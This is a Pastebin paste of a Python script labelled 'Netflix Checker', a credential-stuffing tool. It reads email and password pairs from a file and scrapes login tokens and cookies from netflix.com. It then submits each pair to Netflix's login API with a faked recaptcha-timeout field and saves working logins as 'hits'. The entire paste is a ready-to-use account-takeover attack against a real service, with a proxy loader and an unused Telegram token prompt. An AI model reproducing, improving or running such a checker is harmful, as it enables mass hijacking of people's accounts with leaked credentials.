Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import requests
- import os
- from datetime import datetime
- import re
- import colorama
- from colorama import Fore, Style
- import time
- # Initialize colorama
- colorama.init()
- # Custom variables replaced with colorama constants
- E = Fore.RED + Style.BRIGHT
- G = Fore.GREEN + Style.BRIGHT
- W = Fore.WHITE + Style.BRIGHT # Custom (White)
- Z = Fore.RED
- X = Fore.YELLOW
- Z1 = Fore.RED + Style.DIM
- F = Fore.GREEN + Style.DIM
- A = Fore.BLUE + Style.DIM
- C = Fore.MAGENTA + Style.DIM
- B = Fore.YELLOW + Style.BRIGHT # Orange (approximation)
- Y = Fore.CYAN
- M = Fore.WHITE + Style.BRIGHT
- S = Fore.YELLOW
- custom = 0
- hit = 0
- bad = 0
- # Print introductory information with colorama
- print(f'''{B}{F}━━━━━━━━━━━━━⧪━━━━━━━━━━━━━{B}
- |{Z}[+] TeleGram : {B} Undefined |
- |{Z}[+] Tool : {B} Netflix Checker |
- {F}━━━━━━━━━━━━━⧪━━━━━━━━━━━━━━━━━━ ''')
- # Enter token and ID
- token = input(f' {F}({C}1{F}) {Y} Enter Token{F} : ' + Z)
- print(X + ' ═════════════════════════════════ ')
- ID = input(f' {F}({C}2{F}) {Y} Enter ID {F} : ' + Z)
- ses = requests.Session()
- # Function to load credentials from a file
- def load_credentials():
- credentials = []
- try:
- with open("credentials.txt", "r", encoding="utf-8") as file:
- for line in file:
- line = line.strip()
- if not line:
- continue
- print(f"Reading line: {line}")
- try:
- email, password = line.split(",")
- credentials.append((email.strip(), password.strip()))
- except ValueError:
- print(f"Skipping invalid line: {line}")
- except Exception as e:
- print(f"Error reading credentials: {e}")
- return credentials
- # Function to load proxies from a file
- def load_proxies():
- proxies = []
- try:
- with open("proxies.txt", "r", encoding="utf-8") as file:
- for line in file:
- line = line.strip()
- if line:
- proxies.append(line)
- except Exception as e:
- print(f"Error reading proxies: {e}")
- return proxies
- # Function to load token and ID from respective files
- def load_token_and_id():
- global token, ID
- try:
- with open("token.txt", "r", encoding="utf-8") as file:
- token = file.readline().strip()
- except FileNotFoundError:
- print("Token file not found, using input value.")
- try:
- with open("id.txt", "r", encoding="utf-8") as file:
- ID = file.readline().strip()
- except FileNotFoundError:
- print("ID file not found, using input value.")
- # Function to handle the Netflix login and cookie fetching
- def Ahmed():
- while True:
- try:
- req = ses.get("https://www.netflix.com/ye/", headers={
- 'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
- 'Accept': "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
- 'Cache-Control': "max-age=0",
- 'sec-ch-ua': "\"Not-A.Brand\";v=\"99\", \"Chromium\";v=\"124\"",
- 'sec-ch-ua-mobile': "?0",
- 'sec-ch-ua-platform': "\"Linux\"",
- 'upgrade-insecure-requests': "1",
- 'accept-language': "ar-EG,ar;q=0.9,en-US;q=0.8,en;q=0.7",
- })
- dt = req.headers['date']
- fn = datetime.strptime(dt, "%a, %d %b %Y %H:%M:%S %Z").strftime("%a+%b+%d+%Y+%H:%M:%S+GMT").replace(":", "%3A")
- cookies = req.cookies.get_dict()
- authURL = re.search(r'"authURL":"([^\"]+)"', req.text).group(1).replace("\\x3D", "=")
- esn = re.search(r'"esn":"([^\"]+)"', req.text).group(1)
- cookies.update({
- 'netflix-sans-normal-3-loaded': 'true',
- 'netflix-sans-bold-3-loaded': 'true',
- 'OptanonConsent': f'isGpcEnabled=0&datestamp={fn}%2B0300+(%D8%A7%D9%84%D8%AA%D9%88%D9%82%D9%8A%D8%AA+%D8%A7%D9%84%D8%B9%D8%B1%D8%A8%D9%8A+%D8%A7%D9%84%D8%B1%D8%B3%D9%85%D9%8A)&version=202411.1.0&browserGpcFlag=0&isIABGlobal=false&hosts=&interactionCount=1&isAnonUser=1&landingPath=NotLandingPage&AwaitingReconsent=false&groups=C0001%3A1%2CC0002%3A1%2CC0003%3A1%2CC0004%3A1',
- })
- # Clean up previous files if they exist
- try:
- os.remove("Tokes.txt")
- os.remove("Netflix_Coki.txt")
- except FileNotFoundError:
- pass
- # Save the token and cookies
- with open("Tokes.txt", "w", encoding="utf-8") as f:
- f.write(f"{authURL}|{esn}\n")
- with open("Netflix_Coki.txt", "w", encoding="utf-8") as t:
- t.write(str(cookies))
- break # Exit the loop once successful
- except Exception as e:
- print(f"Error: {e}")
- time.sleep(2) # Wait before retrying
- # Function to handle login attempts
- def Login(email, pas):
- global hit, custom, bad
- try:
- with open("Tokes.txt", "r", encoding="utf-8") as f:
- for line in f:
- authURL, esn = str(line.strip()).split("|")
- with open("Netflix_Coki.txt", "r", encoding="utf-8") as f:
- for line in f:
- cookies = eval(line.strip())
- # Prepare login request data
- data = f'param=%7B%22action%22%3A%22loginAction%22%2C%22fields%22%3A%7B%22nextPage%22%3A%22%22%2C%22rememberMe%22%3A%22true%22%2C%22countryCode%22%3A%22%2B967%22%2C%22countryIsoCode%22%3A%22YE%22%2C%22userLoginId%22%3A%22{email}%22%2C%22password%22%3A%22{pas}%22%2C%22recaptchaResponseToken%22%3A%22%22%2C%22recaptchaError%22%3A%22LOAD_TIMED_OUT%22%2C%22previousMode%22%3A%22%22%7D%7D&allocations[66189]=1&esn={esn}&authURL={authURL}'
- response = requests.post(
- 'https://www.netflix.com/api/aui/pathEvaluator/web/%5E2.0.0?landingURL=/ye/login&landingOrigin=https://www.netflix.com&inapp=false&languages=ar-YE&netflixClientPlatform=browser&flow=websiteSignUp&mode=login&method=call&falcor_server=0.1.0&callPath=%5B%22aui%22,%22moneyball%22,%22next%22%5D',
- cookies=cookies,
- headers={
- 'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
- 'Content-Type': 'application/x-www-form-urlencoded',
- },
- data=data,
- )
- if "The email and password you entered do not match" in response.text:
- print(f"{E}[FAILED] Invalid credentials for {email}")
- bad += 1
- else:
- print(f"{G}[HIT] Successfully logged in with {email}")
- hit += 1
- with open("good_credentials.txt", "a", encoding="utf-8") as f:
- f.write(f"{email},{pas}\n")
- except Exception as e:
- print(f"Error: {e}")
- bad += 1
- # Start reading credentials and checking
- def main():
- global custom, hit, bad
- credentials = load_credentials()
- proxies = load_proxies()
- load_token_and_id()
- print(f"{F}Starting login process...")
- # Process credentials and try logging in
- for email, pas in credentials:
- Login(email, pas)
- print(f"{G}Total Hits: {hit}, Bad: {bad}")
- if __name__ == "__main__":
- main()
Advertisement
Add Comment
Please, Sign In to add comment